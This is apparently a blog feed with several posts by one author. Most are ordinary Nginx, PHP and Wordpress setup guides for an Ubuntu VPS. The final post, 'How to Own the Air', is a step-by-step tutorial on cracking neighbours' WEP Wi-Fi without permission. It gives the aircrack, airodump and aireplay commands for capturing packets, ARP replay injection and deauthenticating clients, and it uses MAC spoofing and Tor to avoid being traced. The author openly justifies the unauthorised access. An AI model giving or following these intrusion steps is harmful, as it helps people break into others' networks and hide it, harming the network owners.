class="err">/etc/nginx/fastcgi.conf</span><span class="p">;</span><span class="w"></span> <span class="p">}</span><span class="w"></span> </code></pre></div> <p>Now let&rsquo;s create that <code>/etc/nginx/fastcgi.conf</code> file that&rsquo;s being included above. As per the <a href="http://wiki.codemongers.com/NginxFcgiExample">Nginx wiki article</a>, mine looks like this:</p> <div class="highlight"><pre><span></span><code>fastcgi_param GATEWAY_INTERFACE CGI/1.1; fastcgi_param SERVER_SOFTWARE nginx; fastcgi_param QUERY_STRING $query_string; fastcgi_param REQUEST_METHOD $request_method; fastcgi_param CONTENT_TYPE $content_type; fastcgi_param CONTENT_LENGTH $content_length; fastcgi_param REQUEST_URI $request_uri; fastcgi_param DOCUMENT_URI $document_uri; fastcgi_param DOCUMENT_ROOT $document_root; fastcgi_param SERVER_PROTOCOL $server_protocol; fastcgi_param REMOTE_ADDR $remote_addr; fastcgi_param REMOTE_PORT $remote_port; fastcgi_param SERVER_ADDR $server_addr; fastcgi_param SERVER_PORT $server_port; fastcgi_param SERVER_NAME $server_name; </code></pre></div> <p>Then restart Nginx:</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo /etc/init.d/nginx restart </code></pre></div></td></tr></table></div> <p>Let&rsquo;s create a file named <code>test.php</code> in your domain&rsquo;s public root to see if everything is working. Inside, do something like printing <a href="http://us2.php.net/phpinfo">phpinfo</a>.</p> <p>Go to http://mydomain.com/test.php. See it? Good. If you get &ldquo;no input file specified&rdquo; or somesuch, you broke something.</p> <p>If you create an index.php, and delete any index.html or index.htm you might have, you&rsquo;ll notice Nginx throws a 403 Forbidden error. To fix that, find the line in your vhost config (<code>/etc/nginx/sites-available/mydomain.com</code>) under the <code>location /</code> block that reads <code>index index.html;</code> and change it to <code>index index.php index.html;</code>. Then restart Nginx.</p> <p>If you want SSL with your Nginx, Slicehost has <a href="http://articles.slicehost.com/2007/12/19/ubuntu-gutsy-self-signed-ssl-certificates-and-nginx">a guide for generating the certificate</a> and <a href="http://articles.slicehost.com/2007/12/19/ubuntu-gutsy-nginx-ssl-and-vhosts">another guide for installing it</a>.</p> <p>You&rsquo;ll want to install OpenSSL first:</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo aptitude install openssl </code></pre></div></td></tr></table></div> <p>There is one bug in the second guide. In the first server module listening on port 443, which forwards www.domain1.com to domain1.com, the rewrite rule specifies the http protocol. So, in effect, what that rule does is forward you from a secure domain to unsecure: https://www.domain1.com to http://domain1.com. We want it to forward to a secure domain. Simply change the rewrite rule like thus:</p> <div class="highlight"><pre><span></span><code><span class="nt">rewrite</span><span class="w"> </span><span class="o">^/(.*)</span><span class="w"> </span><span class="nt">https</span><span class="o">://</span><span class="nt">domain1</span><span class="p">.</span><span class="nc">com</span><span class="w"> </span><span class="nt">permanent</span><span class="o">;</span><span class="w"></span> </code></pre></div> <p>Next up: <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-mail">install a mail server</a>. (Previously, we did a <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-basic-setup">basic setup</a>.)</p>An Ubuntu VPS on Slicehost: Wordpress2008-06-10T00:00:00-07:002012-12-22T00:00:00-08:00Pig Monkeytag:pig-monkey.com,2008-06-10:/2008/06/an-ubuntu-vps-on-slicehost-wordpress/<p><em>As <a href="http://pig-monkey.com/2008/06/09/a-move-to-slicehost/">mentioned previously</a>, I&rsquo;ve recently moved this domain over to <a href="http://www.slicehost.com/">Slicehost</a>. What follows is Part Four of a guide, compiled from my notes, to setting up an Ubuntu Hardy VPS. See also <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-basic-setup">Part One</a>, <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-web-server">Part Two</a>, and <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-mail">Part Three</a>.</em></p> <p>I prefer to install <a href="http://wordpress.org/">Wordpress</a> via Subversion, which makes updating …</p><p><em>As <a href="http://pig-monkey.com/2008/06/09/a-move-to-slicehost/">mentioned previously</a>, I&rsquo;ve recently moved this domain over to <a href="http://www.slicehost.com/">Slicehost</a>. What follows is Part Four of a guide, compiled from my notes, to setting up an Ubuntu Hardy VPS. See also <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-basic-setup">Part One</a>, <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-web-server">Part Two</a>, and <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-mail">Part Three</a>.</em></p> <p>I prefer to install <a href="http://wordpress.org/">Wordpress</a> via Subversion, which makes updating easier. We&rsquo;ll have to install Subversion on the server first:</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo aptitude install subversion </code></pre></div></td></tr></table></div> <!--more--> <p>After that, <a href="http://codex.wordpress.org/Installing/Updating_WordPress_with_Subversion#New_Install_2">the Wordpress Codex has a guide to the rest of the install</a>.</p> <p>Nothing further is needed, unless you want fancy rewrites. In that case, we&rsquo;ll have to make a change to your Nginx vhost config at <code>/etc/nginx/sites-available/mydomain.com</code>. Add the following to your server block under <code>location / {</code>:</p> <div class="highlight"><pre><span></span><code>#<span class="w"> </span><span class="nv">wordpress</span><span class="w"> </span><span class="nv">fancy</span><span class="w"> </span><span class="nv">rewrites</span><span class="w"></span> <span class="k">if</span><span class="w"> </span><span class="ss">(</span><span class="o">-</span><span class="nv">f</span><span class="w"> </span>$<span class="nv">request_filename</span><span class="ss">)</span><span class="w"> </span>{<span class="w"></span> <span class="w"> </span><span class="k">break</span><span class="c1">;</span><span class="w"></span> <span class="w"> </span>}<span class="w"></span> <span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="ss">(</span><span class="o">-</span><span class="nv">d</span><span class="w"> </span>$<span class="nv">request_filename</span><span class="ss">)</span><span class="w"> </span>{<span class="w"></span> <span class="w"> </span><span class="k">break</span><span class="c1">;</span><span class="w"></span> <span class="w"> </span>}<span class="w"></span> <span class="w"> </span><span class="nv">rewrite</span><span class="w"> </span><span class="o">^</span><span class="ss">(</span>.<span class="o">+</span><span class="ss">)</span>$<span class="w"> </span><span class="o">/</span><span class="nv">index</span>.<span class="nv">php</span>?<span class="nv">q</span><span class="o">=</span><span class="mh">$1</span><span class="w"> </span><span class="nv">last</span><span class="c1">;</span><span class="w"></span> </code></pre></div> <p>While we&rsquo;re here, I usually tell Nginx to cache static files by adding the following right above the<code>location / {</code> block:</p> <div class="highlight"><pre><span></span><code>#<span class="w"> </span><span class="nv">serve</span><span class="w"> </span><span class="nv">static</span><span class="w"> </span><span class="nv">files</span><span class="w"> </span><span class="nv">directly</span><span class="w"></span> <span class="nv">location</span><span class="w"> </span><span class="o">~*</span><span class="w"> </span><span class="o">^</span>.<span class="o">+</span>\.<span class="ss">(</span><span class="nv">jpg</span><span class="o">|</span><span class="nv">jpeg</span><span class="o">|</span><span class="nv">gif</span><span class="o">|</span><span class="nv">png</span><span class="o">|</span><span class="nv">ico</span><span class="o">|</span><span class="nv">zip</span><span class="o">|</span><span class="nv">tgz</span><span class="o">|</span><span class="nv">gz</span><span class="o">|</span><span class="nv">rar</span><span class="o">|</span><span class="nv">bz2</span><span class="o">|</span><span class="nv">doc</span><span class="o">|</span><span class="nv">xls</span><span class="o">|</span><span class="nv">exe</span><span class="o">|</span><span class="nv">pdf</span><span class="o">|</span><span class="nv">ppt</span><span class="o">|</span><span class="nv">txt</span><span class="o">|</span><span class="nv">tar</span><span class="o">|</span><span class="nv">mid</span><span class="o">|</span><span class="nv">midi</span><span class="o">|</span><span class="nv">wav</span><span class="o">|</span><span class="nv">bmp</span><span class="o">|</span><span class="nv">rtf</span><span class="o">|</span><span class="nv">css</span><span class="ss">)</span>$<span class="w"> </span>{<span class="w"></span> <span class="w"> </span><span class="nv">root</span><span class="w"> </span><span class="o">/</span><span class="nv">home</span><span class="o">/</span><span class="nv">user</span><span class="o">/</span><span class="nv">public_html</span><span class="o">/</span><span class="nv">mydomain</span>.<span class="nv">com</span><span class="o">/</span><span class="nv">public</span><span class="c1">;</span><span class="w"></span> <span class="w"> </span><span class="nv">expires</span><span class="w"> </span><span class="mi">7</span><span class="nv">d</span><span class="c1">;</span><span class="w"></span> <span class="w"> </span><span class="k">break</span><span class="c1">;</span><span class="w"></span> }<span class="w"></span> </code></pre></div> <p>That&rsquo;ll go in the https server section, too. Now, enable rewrites in your Wordpress config. I use the following &ldquo;custom&rdquo; structure:</p> <div class="highlight"><pre><span></span><code>/%year%/%monthnum%/%day%/%postname%/ </code></pre></div> <p>Then, restart Nginx:</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo /etc/init.d/nginx restart </code></pre></div></td></tr></table></div> <p>And there you have it! You know have a working, new web server and mail server.</p> <p>(Previously, we did a <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-basic-setup">basic setup</a>, <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-web-server">installed a web server</a>, and <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-mail">installed a mail server</a>.)</p>How to Own the Air2006-10-20T00:00:00-07:002012-12-22T00:00:00-08:00Pig Monkeytag:pig-monkey.com,2006-10-20:/2006/10/how-to-own-the-air/<p>Before moving into my new place last month, I had planned on paying an ISP for internet access. But, complications arose with the company I had chosen, so I decided to cancel my order soon after it was placed. Instead, I planned to borrow internet access from my neighbors (hey …</p><p>Before moving into my new place last month, I had planned on paying an ISP for internet access. But, complications arose with the company I had chosen, so I decided to cancel my order soon after it was placed. Instead, I planned to borrow internet access from my neighbors (hey, they&rsquo;re pumping signals into my air-space). Trouble was, everyone had encrypted their networks with <a href="http://en.wikipedia.org/wiki/Wired_Equivalent_Privacy">WEP</a>. No doubt this is a good thing, and a vast improvement from the last time I had scanned down here (about 8 months ago), but I wanted in. I was able to justify cracking in to myself by recognizing that my paranoia isn&rsquo;t limited just to the &ldquo;others&rdquo; out on the global interwebs &ndash; no, I&rsquo;d be just as paranoid about the owner of whomever&rsquo;s network I was breaking into watching my traffic. There was no question I&rsquo;d make ample use of encryption, which, as a side benefit, meant that anything I did through his connection would be rather difficult to trace back. So, he was protected. As long as he wasn&rsquo;t paying for bandwidth by the KB, he&rsquo;d not be much affected by my leeching. (I use the pronoun &ldquo;he&rdquo; because I know now that the owner of my primary network is, in fact, a he &ndash; put a password on your routers, people!).</p> <p>But there was another problem, in addition to WEP: during reconnaissance, I would rarely pick up any connected clients. Perhaps I was always trying at the wrong time of day. Or perhaps people pay for internet access and never use it. Regardless, it would have taken weeks of constant logging to gather enough IVs to crack the WEP key. So, the first step was to take the money I had saved by canceling my order with the ISP, and invest in a new wireless card that supported packet injection.</p> <p>The <a href="http://www.proxim.com/products/cp/pc.html" >Proxim 8470-WD</a> (from <a href="http://www.aircrack-ng.org/doku.php?id=faq&DokuWiki=8fb30aa7da2a84fc23999e92b8e641ca#which_is_the_best_card_to_buy" >aircrack-ng&rsquo;s recommended list</a>) caught my eye, though it took a while before I could find it a decent price. To do my initial cracking, I popped in <a href="http://www.backtrack-linux.org/">Backtrack</a> and followed <a href="http://www.aircrack-ng.org/doku.php?id=newbie_guide&DokuWiki=8fb30aa7da2a84fc23999e92b8e641ca" >aircrack-ng&rsquo;s newbie guide</a>. (I had upgraded my trusty old Auditor cd to Backtrack just for this occasion. It&rsquo;s quite the nice distribution.) Within about 5 minutes, I had gained access to the first network. Goes to show how secure WEP is.</p> <p>Though the Proxim card is plug and play in Ubuntu, the steps to crack WEP are a little different. Here&rsquo;s what I do (note that I do recommend using Backtrack, instead).</p> <p>First, of course, one must install aircrack:</p> <pre>sudo apt-get install aircrack</pre> <p>You may change your mac address manually, or, if you aren&rsquo;t concerned with anonymity, don&rsquo;t change it all. I have a preference of using the <a href="http://www.alobbs.com/macchanger/" >macchanger</a> tool:</p> <pre>sudo apt-get install macchanger</pre> <p>Set your card&rsquo;s MAC address randomly. In this case, the network device is at <em>ath0</em>:</p> <pre>sudo ifconfig ath0 down sudo macchanger -r ath0 sudo ifconfig ath0 up</pre> <p>Put your card into monitor mode:</p> <pre>sudo iwconfig ath0 mode monitor</pre> <p>Start scanning:</p> <pre>sudo airodump ath0 dump 0</pre> <p>In this case, <code>dump</code> is the file prefix for airodump&rsquo;s output and the <code>0</code> tells airodump to channel-hop. Now you want to pick your target network from the scan. It should have at least one client connected (displayed at the bottom of airodump&rsquo;s output), the more the merrier. (Hopefully that client is transmitting data, too.)</p> <p>When you pick your target, kill the first instance of airodump and start it up again, this time specifying the channel of your target:</p> <pre>sudo airodump ath0 targetdump 9</pre> <p>The <code>targetdump</code> is the file prefix and <em>9</em> is the channel. Optionally you can add a <code>1</code> to the end of the command, which tells airodump to only capture <a href="http://en.wikipedia.org/wiki/Initialization_vector" >IV</a>s (which is what you&rsquo;re after). I normally don&rsquo;t bother.</p> <p>When you&rsquo;ve captured somewhere in the range of 250,000 - 500,000 data packets (shown by airodump in the &ldquo;Packets&rdquo; column of your target client), you can start cracking:</p> <pre>aircrack -b 00:12:34:45:78:A3 targetdump.cap</pre> <p>In this case, <code>-b</code> is the essid of your target network. Cracking could take minutes, hours, days, weeks, months, or years. I&rsquo;ve never had to wait over 20 minutes.</p> <p>But what if the client is being a party-pooper and not transmitting? That&rsquo;s where packet injection comes in. From aircrack&rsquo;s guide:</p> <blockquote>ARP works (simplified) by broadcasting a query for an IP and the device that has this IP sends back an answer. Because WEP does not protect against replay, you can sniff a packet, send it out again and again and it is still valid. So you just have to capture and replay an ARP-request targeted at the AP to create lots of traffic (and sniff IVs).</blockquote> <p>You&rsquo;ll want to keep airodump running, so that all the traffic you generate will be captured. In another terminal, start injecting:</p> <pre>sudo aireplay -3 -b 00:12:34:45:78:A3 -h A3:78:45:34:12:00 ath0</pre> <p>The <code>-3</code> tells airepay you want to replay ARP requests, <code>-b</code> is that target network, and <code>-h</code> is the client. In a little bit, aireplay should inform you that it has captured 1 (or more) ARP packets. Sit back and watch airodump count up the IVs.</p> <p>If that pesky client still isn&rsquo;t cooperating, you can give it a little motivation. From aircrack:</p> <blockquote>Most operating systems clear the ARP cache on disconnection. If they want to send the next packet after reconnection (or just use DHCP), they have to send out ARP requests. So the idea is to disconnect a client and force it to reconnect to capture an ARP-request. A side-effect is that you can sniff the ESSID during reconnection too. This comes in handy if the ESSID of your target is hidden. ...the risk that someone recognizes this attack or at least attention is drawn to the stuff happening on the WLAN is higher than with other attacks.</blockquote> <p>Keep airodump and aireplay running, and in a new terminal give it a little kick in the butt:</p> <pre>sudo aireplay -0 5 -a 00:12:34:45:78:A3 -c A3:78:45:34:12:00 ath0</pre> <p>The first switch, <code>-0</code>, informs aireplay you want to force the client to be unauthenticated, <code>-a</code> is the target network, <code>-c</code> is the target client. When the client reconnects, you should start grabbing ARP requests.</p> <p>After you have enough packets, crack the WEP key as before.</p> <p>To manage and connect to my wireless networks, I&rsquo;ve taken to using <a href="http://wifi-radar.systemimager.org/" >wifi-radar</a>. It scans for networks, allows you to specify which networks you prefer and, for each network, allows you to set preferences such as the WEP key, whether to use dynamic or static addresses, and the like. What I like best is the connection commands, which allows you to set commands you want executed before wifi-radar connects to the network, and after. In the before field, I have it randomly change my mac address:</p> <pre>ifconfig ath0 down && macchanger -r ath0 && ifconfig ath0 up</pre> <p>After it connects, I restart tor:</p> <pre>/etc/init.d/tor restart</pre> <p>(As another reference for you, <span class="removed_link">this site</span> keeps turning up as a guide to cracking WEP in Ubuntu.)</p>